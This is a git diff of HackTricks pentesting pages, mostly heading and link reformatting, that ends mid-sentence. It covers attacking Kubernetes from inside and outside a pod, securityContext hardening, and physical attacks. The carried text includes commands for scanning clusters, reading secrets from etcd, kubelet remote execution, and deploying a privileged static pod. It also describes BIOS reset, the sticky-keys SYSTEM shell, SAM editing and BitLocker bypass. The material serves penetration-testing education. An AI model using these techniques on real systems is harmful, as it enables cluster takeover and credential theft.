b/pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md index ae0d6691..acc5c6ec 100644 --- a/pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md +++ b/pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md @@ -1,4 +1,4 @@ - +# Attacking Kubernetes from inside a Pod
@@ -16,28 +16,27 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# **Pod Breakout** +## **Pod Breakout** **If you are lucky enough you may be able to escape from it to the node:** ![](https://sickrov.github.io/media/Screenshot-161.jpg) -## Escaping from the pod +### Escaping from the pod In order to try to escape from the pos you might need to **escalate privileges** first, some techniques to do it: -{% content-ref url="../../linux-unix/privilege-escalation/" %} -[privilege-escalation](../../linux-unix/privilege-escalation/) +{% content-ref url="../../linux-hardening/privilege-escalation/" %} +[privilege-escalation](../../linux-hardening/privilege-escalation/) {% endcontent-ref %} You can check this **docker breakouts to try to escape** from a pod you have compromised: -{% content-ref url="../../linux-unix/privilege-escalation/docker-breakout/" %} -[docker-breakout](../../linux-unix/privilege-escalation/docker-breakout/) +{% content-ref url="../../linux-hardening/privilege-escalation/docker-breakout/" %} +[docker-breakout](../../linux-hardening/privilege-escalation/docker-breakout/) {% endcontent-ref %} -## Abusing Kubernetes Privileges +### Abusing Kubernetes Privileges As explained in the section about **kubernetes enumeration**: @@ -51,15 +50,15 @@ Usually the pods are run with a **service account token** inside of them. This s [abusing-roles-clusterroles-in-kubernetes](../../cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/) {% endcontent-ref %} -## Abusing Cloud Privileges +### Abusing Cloud Privileges If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it. -# Search vulnerable network services +## Search vulnerable network services As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.** -## Services +### Services **For this purpose, you can try to get all the services of the kubernetes environment:** @@ -69,7 +68,7 @@ kubectl get svc --all-namespaces By default, Kubernetes uses a flat networking schema, which means **any pod/service within the cluster can talk to other**. The **namespaces** within the cluster **don't have any network security restrictions by default**. Anyone in the namespace can talk to other namespaces. -## Scanning +### Scanning The following Bash script (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s\_cheatsheet.md)) will install and scan the IP ranges of the kubernetes cluster: @@ -98,11 +97,11 @@ Check out the following page to learn how you could **attack Kubernetes specific [pentesting-kubernetes-from-the-outside.md](pentesting-kubernetes-from-the-outside.md) {% endcontent-ref %} -## Sniffing +### Sniffing In case the **compromised pod is running some sensitive service** where other pods need to authenticate you might be able to obtain the credentials send from the other pods **sniffing local communications**. -# Network Spoofing +## Network Spoofing By default techniques like **ARP spoofing** (and thanks to that **DNS Spoofing**) work in kubernetes network. Then, inside a pod, if you have the **NET\_RAW capability** (which is there by default), you will be able to send custom crafted network packets and perform **MitM attacks via ARP Spoofing to all the pods running in the same node.**\ Moreover, if the **malicious pod** is running in the **same node as the DNS Server**, you will be able to perform a **DNS Spoofing attack to all the pods in cluster**. @@ -111,7 +110,7 @@ Moreover, if the **malicious pod** is running in the **same node as the DNS Serv [kubernetes-network-attacks.md](../../cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md) {% endcontent-ref %} -# Node DoS +## Node DoS There is no specification of resources in the Kubernetes manifests and **not applied limit** ranges for the containers. As an attacker, we can **consume all the resources where the pod/deployment running** and starve other resources and cause a DoS for the environment. @@ -129,7 +128,7 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx ![Scenario 13 kubectl top](https://madhuakula.com/kubernetes-goat/scenarios/images/sc-13-3.png) -# Node Post-Exploitation +## Node Post-Exploitation If you managed to **escape from the container** there are some interesting things you will find in the node: @@ -150,7 +149,7 @@ If you managed to **escape from the container** there are some interesting thing * `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration** * `/etc/kubernetes/pki` - **Kubernetes Key** -## Find node kubeconfig +### Find node kubeconfig If you cannot find the kubeconfig file in one of the previously commented paths, **check the argument `--kubeconfig` of the kubelet process**: @@ -159,7 +158,7 @@ ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal ``` -## Steal Secrets +### Steal Secrets ```bash # Check Kubelet privileges @@ -189,7 +188,7 @@ The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scri ./can-they.sh -i "list secrets -n kube-system"// Some code ``` -## Pivot to Cloud +### Pivot to Cloud If the cluster is managed by a cloud service, usually the **Node will have a different access to the metadata** endpoint than the Pod. Therefore, try to **access the metadata endpoint from the node** (or from a pod with hostNetwork to True): @@ -197,7 +196,7 @@ If the cluster is managed by a cloud service, usually the **Node will have a dif [kubernetes-access-to-other-clouds.md](../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md) {% endcontent-ref %} -## Steal etcd +### Steal etcd If you can specify the [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) of the Node that will run the container, get a shell inside a control-plane node and get the **etcd database**: @@ -210,7 +209,7 @@ k8s-worker Ready 93d v1.19.1 control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**. -### Read secrets from etcd +#### Read secrets from etcd If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets. @@ -252,7 +251,7 @@ Output: 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` -## Static/Mirrored Pods +### Static/Mirrored Pods If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**. This basically means that if you get to the node you could be able to **compromise the whole cluster**. However, nothe that according to the documentation: _The spec of a static Pod cannot refer to other API objects (e.g., ServiceAccount, ConfigMap, Secret, etc)_. @@ -260,7 +259,7 @@ In order to create a static pod you may just need to **save the yaml configurati The **path to the folder** where you should write the pods is given by the parameter **`--pod-manifest-path` of the kubelet process**. If it isn't set you might need to set it and restart the process to abuse this technique. -**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): +**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): ```yaml apiVersion: v1 @@ -288,7 +287,7 @@ spec: type: Directory ``` -# Automatic Tools +## Automatic Tools * [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates) @@ -352,8 +351,7 @@ Off-Menu + [exit] Exit Peirates ``` -# - +##
@@ -370,5 +368,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-securitycontext-s.md b/pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-securitycontext-s.md index 355ed472..b4557d90 100644 --- a/pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -1,4 +1,4 @@ - +# Kubernetes SecurityContext(s)
@@ -16,29 +16,28 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# PodSecurityContext +## PodSecurityContext When specifying the security context of a Pod you can use several attributes. From a defensive security point of view you should consider: * To have **runASNonRoot** as **True** * To configure **runAsUser** * If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile** -* Do **NOT** give **privilege** **group** access via **runAsGroup** and **supplementaryGroups** +* Do **NOT** give **privilege** **group** access via **runAsGroup** and **supplementaryGroups** -|

fsGroup
integer

|

A special supplemental group that applies to all containers in a pod. Some volume types allow the Kubelet to change the ownership of that volume to be owned by the pod:
1. The owning GID will be the FSGroup
2. The setgid bit is set (new files created in the volume will be owned by FSGroup)
3. The permission bits are OR'd with rw-rw---- If unset, the Kubelet will not modify the ownership and permissions of any volume

| -| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

fsGroupChangePolicy
string

| This defines behavior of **changing ownership and permission of the volume** before being exposed inside Pod. | -|

runAsGroup
integer

| The **GID to run the entrypoint of the container process**. Uses runtime default if unset. May also be set in SecurityContext. | -|

runAsNonRoot
boolean

| Indicates that the container must run as a non-root user. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. | -|

runAsUser
integer

| The **UID to run the entrypoint of the container process**. Defaults to user specified in image metadata if unspecified. | -|

seLinuxOptions
SELinuxOptions
More info about seLinux

| The **SELinux context to be applied to all containers**. If unspecified, the container runtime will allocate a random SELinux context for each container. | -|

seccompProfile
SeccompProfile
More info about Seccomp

| The **seccomp options to use by the containers** in this pod. | -|

supplementalGroups
integer array

| A list of **groups applied to the first process run in each container**, in addition to the container's primary GID. | -|

sysctls
Sysctl array
More info about sysctls

| Sysctls hold a list of **namespaced sysctls used for the pod**. Pods with unsupported sysctls (by the container runtime) might fail to launch. | -|

windowsOptions
WindowsSecurityContextOptions

| The Windows specific settings applied to all containers. If unspecified, the options within a container's SecurityContext will be used. | +|

fsGroup
integer

|

A special supplemental group that applies to all containers in a pod. Some volume types allow the Kubelet to change the ownership of that volume to be owned by the pod:
1. The owning GID will be the FSGroup
2. The setgid bit is set (new files created in the volume will be owned by FSGroup)
3. The permission bits are OR'd with rw-rw---- If unset, the Kubelet will not modify the ownership and permissions of any volume

| +| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +|

fsGroupChangePolicy
string

| This defines behavior of **changing ownership and permission of the volume** before being exposed inside Pod. | +|

runAsGroup
integer

| The **GID to run the entrypoint of the container process**. Uses runtime default if unset. May also be set in SecurityContext. | +|

runAsNonRoot
boolean

| Indicates that the container must run as a non-root user. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. | +|

runAsUser
integer

| The **UID to run the entrypoint of the container process**. Defaults to user specified in image metadata if unspecified. | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| The **SELinux context to be applied to all containers**. If unspecified, the container runtime will allocate a random SELinux context for each container. | +|

seccompProfile
SeccompProfile
More info about Seccomp

| The **seccomp options to use by the containers** in this pod. | +|

supplementalGroups
integer array

| A list of **groups applied to the first process run in each container**, in addition to the container's primary GID. | +|

sysctls
Sysctl array
More info about sysctls

| Sysctls hold a list of **namespaced sysctls used for the pod**. Pods with unsupported sysctls (by the container runtime) might fail to launch. | +|

windowsOptions
WindowsSecurityContextOptions

| The Windows specific settings applied to all containers. If unspecified, the options within a container's SecurityContext will be used. | -# SecurityContext +## SecurityContext This context is set inside the **containers definitions**. From a defensive security point of view you should consider: @@ -48,29 +47,28 @@ This context is set inside the **containers definitions**. From a defensive secu * If possible, set **readOnlyFilesystem** as **True** * Set **runAsNonRoot** to **True** and set a **runAsUser** * If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile** -* Do **NOT** give **privilege** **group** access via **runAsGroup.** +* Do **NOT** give **privilege** **group** access via **runAsGroup.** Note that the attributes set in **both SecurityContext and PodSecurityContext**, the value specified in **SecurityContext** takes **precedence**. -|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** controls whether a process can **gain more privileges** than its parent process. This bool directly controls if the no\_new\_privs flag will be set on the container process. AllowPrivilegeEscalation is true always when the container is run as **Privileged** or has **CAP\_SYS\_ADMIN** | -| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
More info about Capabilities

| The **capabilities to add/drop when running containers**. Defaults to the default set of capabilities. | -|

privileged
boolean

| Run container in privileged mode. Processes in privileged containers are essentially **equivalent to root on the host**. Defaults to false. | -|

procMount
string

| procMount denotes the **type of proc mount to use for the containers**. The default is DefaultProcMount which uses the container runtime defaults for readonly paths and masked paths. | -|

readOnlyRootFilesystem
boolean

| Whether this **container has a read-only root filesystem**. Default is false. | -|

runAsGroup
integer

| The **GID to run the entrypoint** of the container process. Uses runtime default if unset. | -|

runAsNonRoot
boolean

| Indicates that the container must **run as a non-root user**. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. | -|

runAsUser
integer

| The **UID to run the entrypoint** of the container process. Defaults to user specified in image metadata if unspecified. | -|

seLinuxOptions
SELinuxOptions
More info about seLinux

| The **SELinux context to be applied to the container**. If unspecified, the container runtime will allocate a random SELinux context for each container. | -|

seccompProfile
SeccompProfile

| The **seccomp options** to use by this container. | -|

windowsOptions
WindowsSecurityContextOptions

| The **Windows specific settings** applied to all containers. | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** controls whether a process can **gain more privileges** than its parent process. This bool directly controls if the no\_new\_privs flag will be set on the container process. AllowPrivilegeEscalation is true always when the container is run as **Privileged** or has **CAP\_SYS\_ADMIN** | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +|

capabilities
Capabilities
More info about Capabilities

| The **capabilities to add/drop when running containers**. Defaults to the default set of capabilities. | +|

privileged
boolean

| Run container in privileged mode. Processes in privileged containers are essentially **equivalent to root on the host**. Defaults to false. | +|

procMount
string

| procMount denotes the **type of proc mount to use for the containers**. The default is DefaultProcMount which uses the container runtime defaults for readonly paths and masked paths. | +|

readOnlyRootFilesystem
boolean

| Whether this **container has a read-only root filesystem**. Default is false. | +|

runAsGroup
integer

| The **GID to run the entrypoint** of the container process. Uses runtime default if unset. | +|

runAsNonRoot
boolean

| Indicates that the container must **run as a non-root user**. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. | +|

runAsUser
integer

| The **UID to run the entrypoint** of the container process. Defaults to user specified in image metadata if unspecified. | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| The **SELinux context to be applied to the container**. If unspecified, the container runtime will allocate a random SELinux context for each container. | +|

seccompProfile
SeccompProfile

| The **seccomp options** to use by this container. | +|

windowsOptions
WindowsSecurityContextOptions

| The **Windows specific settings** applied to all containers. | -# References +## References * [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) * [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) -
Support HackTricks and get benefits! @@ -86,5 +84,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md b/pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md index 2e6aedc4..c061d11e 100644 --- a/pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md +++ b/pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md @@ -1,4 +1,4 @@ - +# Pentesting Kubernetes Services
@@ -16,14 +16,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Kubernetes uses several **specific network services** that you might find **exposed to the Internet** or in an **internal network once you have compromised one pod**. -# Finding exposed pods with OSINT +## Finding exposed pods with OSINT One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) to find subdomains related to kubernetes. Another way might be to search `"k8s.%.com"` in github and search for **YAML files** containing the string. -# How Kubernetes Exposes Services +## How Kubernetes Exposes Services It might be useful for you to understand how Kubernetes can **expose services publicly** in order to find them: @@ -31,7 +30,7 @@ It might be useful for you to understand how Kubernetes can **expose services pu [exposing-services-in-kubernetes.md](exposing-services-in-kubernetes.md) {% endcontent-ref %} -# Finding Exposed pods via port scanning +## Finding Exposed pods via port scanning The following ports might be open in a Kubernetes cluster: @@ -52,13 +51,13 @@ The following ports might be open in a Kubernetes cluster: | 30000-32767/TCP | NodePort | Proxy to the services | | 44134/TCP | Tiller | Helm service listening | -## Nmap +### Nmap ``` nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 /16 ``` -## Kube-apiserver +### Kube-apiserver This is the **API Kubernetes service** the administrators talks with usually using the tool **`kubectl`**. @@ -76,13 +75,13 @@ curl -k https://:(8|6)443/api/v1 [kubernetes-enumeration.md](../../cloud-security/pentesting-kubernetes/kubernetes-enumeration.md) {% endcontent-ref %} -## Kubelet API +### Kubelet API This service **run in every node of the cluster**. It's the service that will **control** the pods inside the **node**. It talks with the **kube-apiserver**. If you find this service exposed you might have found an [**unauthenticated RCE**](pentesting-kubernetes-from-the-outside.md#kubelet-rce). -### Kubelet API +#### Kubelet API ``` curl -k https://:10250/metrics @@ -102,14 +101,14 @@ kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_POR done ``` -### kubelet (Read only) +#### kubelet (Read only) ``` curl -k https://:10255 http://:10255/pods ``` -## etcd API +### etcd API ``` curl -k https://:2379 @@ -117,7 +116,7 @@ curl -k https://:2379/version etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` -## Tiller +### Tiller ``` helm --host tiller-deploy.kube-system:44134 version @@ -125,11 +124,11 @@ helm --host tiller-deploy.kube-system:44134 version You could abuse this service to escalate privileges inside Kubernetes: -{% content-ref url="../44134-pentesting-tiller-helm.md" %} -[44134-pentesting-tiller-helm.md](../44134-pentesting-tiller-helm.md) +{% content-ref url="../../network-services-pentesting/44134-pentesting-tiller-helm.md" %} +[44134-pentesting-tiller-helm.md](../../network-services-pentesting/44134-pentesting-tiller-helm.md) {% endcontent-ref %} -## cAdvisor +### cAdvisor Service useful to gather metrics. @@ -137,7 +136,7 @@ Service useful to gather metrics. curl -k https://:4194 ``` -## NodePort +### NodePort When a port is exposed in all the nodes via a **NodePort**, the same port is opened in all the nodes proxifying the traffic into the declared **Service**. By default this port will be in in the **range 30000-32767**. So new unchecked services might be accessible through those ports. @@ -145,15 +144,15 @@ When a port is exposed in all the nodes via a **NodePort**, the same port is ope sudo nmap -sS -p 30000-32767 ``` -# Vulnerable Misconfigurations +## Vulnerable Misconfigurations -## Kube-apiserver Anonymous Access +### Kube-apiserver Anonymous Access By **default**, **kube-apiserver** API endpoints are **forbidden** to **anonymous** access. But it’s always a good idea to check if there are any **insecure endpoints that expose sensitive information**: ![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) -## **Checking for ETCD Anonymous Access** +### **Checking for ETCD Anonymous Access** The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check. @@ -163,7 +162,7 @@ If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl* etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` -## **Kubelet RCE** +### **Kubelet RCE** The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explains that by **default anonymous acce**ss to the service is **allowed:** @@ -185,7 +184,7 @@ Path("/runningpods/"). All of them sounds interesting. -### /pods +#### /pods This endpoint list pods and their containers: @@ -193,7 +192,7 @@ This endpoint list pods and their containers: curl -ks https://worker:10250/pods ``` -### /exec +#### /exec This endpoint allows to execute code inside any container very easily: @@ -210,7 +209,7 @@ To automate the exploitation you can also use the script [**kubelet-anon-rce**]( To avoid this attack the _**kubelet**_ service should be run with `--anonymous-auth false` and the service should be segregated at the network level. {% endhint %} -## **Checking Kubelet (Read Only Port) Information Exposure** +### **Checking Kubelet (Read Only Port) Information Exposure** When the **kubelet read-only port** is exposed, the attacker can retrieve information from the API. This exposes **cluster configuration elements, such as pods names, location of internal files and other configurations**. This is not critical information, but it still should not be exposed to the internet. @@ -218,13 +217,12 @@ For example, a remote attacker can abuse this by accessing the following URL: `h ![](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png) -# References +## References {% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2" %} {% embed url="https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet" %} -
Support HackTricks and get benefits! @@ -240,5 +238,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/physical-attacks/physical-attacks.md b/physical-attacks/physical-attacks.md index dc2cb5ba..130f0f00 100644 --- a/physical-attacks/physical-attacks.md +++ b/physical-attacks/physical-attacks.md @@ -1,4 +1,4 @@ - +# Physical Attacks
@@ -16,124 +16,122 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## BIOS password -# BIOS password +### The battery -## The battery +Most of the **motherbords** have a **battery**. If you **remove** it **30min** the settings of the BIOS will be **restarted** (password included). -Most of the **motherbords** have a **battery**. If you **remove** it **30min** the settings of the BIOS will be **restarted** \(password included\). - -## Jumper CMOS +### Jumper CMOS Most of the **motherboards** have a **jumper** that can restart the settings. This jumper connects a central pin with another, if you **connect thoses pins the motherbord will be reseted**. -## Live Tools +### Live Tools -If you could **run** for example a **Kali** Linux from a Live CD/USB you could use tools like _**killCmos**_ or _**CmosPWD**_ \(this last one is included in Kali\) you could try to **recover the password of the BIOS**. +If you could **run** for example a **Kali** Linux from a Live CD/USB you could use tools like _**killCmos**_ or _**CmosPWD**_ (this last one is included in Kali) you could try to **recover the password of the BIOS**. -## Online BIOS password recovery +### Online BIOS password recovery -Put the password of the BIOS **3 times wrong**, then the BIOS will **show an error messag**e and it will be blocked. -Visit the page [https://bios-pw.org](https://bios-pw.org) and **introduce the error code** shown by the BIOS and you could be lucky and get a **valid password** \(the **same search could show you different passwords and more than 1 could be valid**\). +Put the password of the BIOS **3 times wrong**, then the BIOS will **show an error messag**e and it will be blocked.\ +Visit the page [https://bios-pw.org](https://bios-pw.org) and **introduce the error code** shown by the BIOS and you could be lucky and get a **valid password** (the **same search could show you different passwords and more than 1 could be valid**). -# UEFI +## UEFI -To check the settings of the UEFI and perform some kind of attack you should try [chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf). +To check the settings of the UEFI and perform some kind of attack you should try [chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf).\ Using this tool you could easily disable the Secure Boot: -```text +``` python chipsec_main.py -module exploits.secure.boot.pk ``` -# RAM +## RAM -## Cold boot +### Cold boot -The **RAM memory is persistent from 1 to 2 minutes** from the time the computer is powered off. If you apply **cold** \(liquid nitrogen, for example\) on the memory card you can extend this time up to **10 minutes**. +The **RAM memory is persistent from 1 to 2 minutes** from the time the computer is powered off. If you apply **cold** (liquid nitrogen, for example) on the memory card you can extend this time up to **10 minutes**. -Then, you can do a **memory dump** \(using tools like dd.exe, mdd.exe, Memoryze, win32dd.exe or DumpIt\) to analyze the memory. +Then, you can do a **memory dump** (using tools like dd.exe, mdd.exe, Memoryze, win32dd.exe or DumpIt) to analyze the memory. You should **analyze** the memory **using volatility**. -## [INCEPTION](https://github.com/carmaa/inception) +### [INCEPTION](https://github.com/carmaa/inception) -Inception is a **physical memory manipulation** and hacking tool exploiting PCI-based DMA. The tool can attack over **FireWire**, **Thunderbolt**, **ExpressCard**, PC Card and any other PCI/PCIe HW interfaces. +Inception is a **physical memory manipulation** and hacking tool exploiting PCI-based DMA. The tool can attack over **FireWire**, **Thunderbolt**, **ExpressCard**, PC Card and any other PCI/PCIe HW interfaces.\ **Connect** your computer to the victim computer over one of those **interfaces** and **INCEPTION** will try to **patch** the **pyshical memory** to give you **access**. **If INCEPTION succeeds, any password introduced will be vaid.** **It doesn't work with Windows10.** -# Live CD/USB +## Live CD/USB -## Sticky Keys and more +### Sticky Keys and more * **SETHC:** _sethc.exe_ is invoked when SHIFT is pressed 5 times * **UTILMAN:** _Utilman.exe_ is invoked by pressing WINDOWS+U * **OSK:** _osk.exe_ is invoked by pressing WINDOWS+U, then launching the on-screen keyboard * **DISP:** _DisplaySwitch.exe_ is invoked by pressing WINDOWS+P -These binaries are located inside _**C:\Windows\System32**_. You can **change** any of them for a **copy** of the binary **cmd.exe** \(also in the same folder\) and any time that you invoke any of those binaries a command prompt as **SYSTEM** will appear. +These binaries are located inside _**C:\Windows\System32**_. You can **change** any of them for a **copy** of the binary **cmd.exe** (also in the same folder) and any time that you invoke any of those binaries a command prompt as **SYSTEM** will appear. -## Modifying SAM +### Modifying SAM -You can use the tool _**chntpw**_ to **modify the** _**SAM**_ **file** of a mounted Windows filesystem. Then, you could change the password of the Administrator user, for example. +You can use the tool _**chntpw**_ to **modify the** _**SAM**_ **file** of a mounted Windows filesystem. Then, you could change the password of the Administrator user, for example.\ This tool is available in KALI. -```text +``` chntpw -h chntpw -l ``` **Inside a Linux system you could modify the** _**/etc/shadow**_ **or** _**/etc/passwd**_ **file.** -## **Kon-Boot** +### **Kon-Boot** -**Kon-Boot** is one of the best tools around which can log you into Windows without knowing the password. It works by **hooking into the system BIOS and temporarily changing the contents of the Windows kernel** while booting \(new versions work also with **UEFI**\). It then allows you to enter **anything as the password** during login. The next time you start the computer without Kon-Boot, the original password will be back, the temporary changes will be discarded and the system will behave as if nothing has happened. +**Kon-Boot** is one of the best tools around which can log you into Windows without knowing the password. It works by **hooking into the system BIOS and temporarily changing the contents of the Windows kernel** while booting (new versions work also with **UEFI**). It then allows you to enter **anything as the password** during login. The next time you start the computer without Kon-Boot, the original password will be back, the temporary changes will be discarded and the system will behave as if nothing has happened.\ Read More: [https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) -It is a live CD/USB that can **patch the memory** so you **won't need to know the password to login**. +It is a live CD/USB that can **patch the memory** so you **won't need to know the password to login**.\ Kon-Boot also performs the **StickyKeys** trick so you could press _**Shift**_ **5 times to get an Administrator cmd**. -# **Running Windows** +## **Running Windows** -## Initial shortcuts +### Initial shortcuts -## Booting shortcuts +### Booting shortcuts * supr - BIOS * f8 - Recovery mode * _supr_ - BIOS ini * _f8_ - Recovery mode -* _Shitf_ \(after the windows banner\) - Go to login page instead of autologon \(avoid autologon\) +* _Shitf_ (after the windows banner) - Go to login page instead of autologon (avoid autologon) -## **BAD USBs** +### **BAD USBs** -### **Rubber Ducky tutorials** +#### **Rubber Ducky tutorials** * [Tutorial 1](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Tutorials) * [Tutorial 2](https://blog.hartleybrody.com/rubber-ducky-guide/) -### **Teensyduino** +#### **Teensyduino** * [Payloads and tutorials](https://github.com/Screetsec/Pateensy) There are also tons of tutorials about **how to create your own bad USB**. -## Volume Shadow Copy +### Volume Shadow Copy -With administrators privileges and powershell you could make a copy of the SAM file.[ See this code](../windows/basic-powershell-for-pentesters/#volume-shadow-copy). +With administrators privileges and powershell you could make a copy of the SAM file.[ See this code](../windows-hardening/basic-powershell-for-pentesters/#volume-shadow-copy). -# Bypassing Bitlocker +## Bypassing Bitlocker -Bitlocker uses **2 passwords**. The one used by the **user**, and the **recovery** password \(48 digits\). +Bitlocker uses **2 passwords**. The one used by the **user**, and the **recovery** password (48 digits). -If you are lucky and inside the current session of Windows exists the file _**C:\Windows\MEMORY.DMP**_ \(It is a memory dump\) you could try to **search inside of it the recovery password**. You can **get this file** and a **copy of the filesytem** and then use _Elcomsoft Forensic Disk Decryptor_ to get the content \(this will only work if the password is inside the memory dump\). -You could also **force the memory dump** using _**NotMyFault**_ of _Sysinternals,_ but this will reboot the system and has to be executed as Administrator. +If you are lucky and inside the current session of Windows exists the file _**C:\Windows\MEMORY.DMP**_ (It is a memory dump) you could try to **search inside of it the recovery password**. You can **get this file** and a **copy of the filesytem** and then use _Elcomsoft Forensic Disk Decryptor_ to get the content (this will only work if the password is inside the memory dump). You could also **force the memory dump** using _**NotMyFault**_ of _Sysinternals,_ but this will reboot the system and has to be executed as Administrator. You could also try a **bruteforce attack** using _**Passware Kit Forensic**_. -## Social Engineering +### Social Engineering Finally, you could make the user add a new recovery 